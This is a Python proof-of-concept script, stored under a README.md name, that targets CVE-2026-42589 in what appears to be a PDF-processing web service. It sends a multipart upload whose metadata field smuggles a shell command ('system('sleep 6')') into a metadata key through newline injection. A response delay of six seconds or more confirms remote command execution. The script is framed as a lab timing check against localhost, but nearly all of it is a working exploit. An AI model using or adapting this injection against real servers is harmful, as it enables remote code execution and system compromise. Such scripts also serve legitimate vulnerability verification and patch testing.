README.md
Rendering markdown...
#!/usr/bin/env python3
import argparse
import http.client
import time
from urllib.parse import urlparse
PDF = b"""%PDF-1.1
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] >>
endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
trailer
<< /Root 1 0 R /Size 4 >>
startxref
186
%%EOF"""
def build_body(boundary: str) -> bytes:
metadata = br"""{"Title\n-if\nsystem('sleep 6')||1\n-Comment":"x"}"""
parts = [
b"--" + boundary.encode(),
b'Content-Disposition: form-data; name="files"; filename="sample.pdf"',
b"Content-Type: application/pdf",
b"",
PDF,
b"--" + boundary.encode(),
b'Content-Disposition: form-data; name="metadata"',
b"",
metadata,
b"--" + boundary.encode() + b"--",
b"",
]
return b"\r\n".join(parts)
def main() -> int:
parser = argparse.ArgumentParser(description="Raw multipart timing check for CVE-2026-42589 lab")
parser.add_argument("target", nargs="?", default="http://127.0.0.1:3000")
args = parser.parse_args()
parsed = urlparse(args.target)
if parsed.scheme not in ("http", ""):
raise SystemExit("Only http targets are supported by this lab script")
host = parsed.hostname or "127.0.0.1"
port = parsed.port or 3000
boundary = "----NucleiBoundaryCVE202642589"
body = build_body(boundary)
conn = http.client.HTTPConnection(host, port, timeout=15)
headers = {
"Host": f"{host}:{port}",
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Content-Length": str(len(body)),
}
start = time.monotonic()
conn.request("POST", "/forms/pdfengines/metadata/write", body=body, headers=headers)
response = conn.getresponse()
response_body = response.read()
elapsed = time.monotonic() - start
conn.close()
print(f"HTTP/{response.version / 10:.1f} {response.status} {response.reason}")
print(f"TOTAL_TIME={elapsed:.3f}s")
if response_body:
print(response_body.decode("utf-8", errors="replace"))
return 0 if response.status == 500 and elapsed >= 6 else 1
if __name__ == "__main__":
raise SystemExit(main())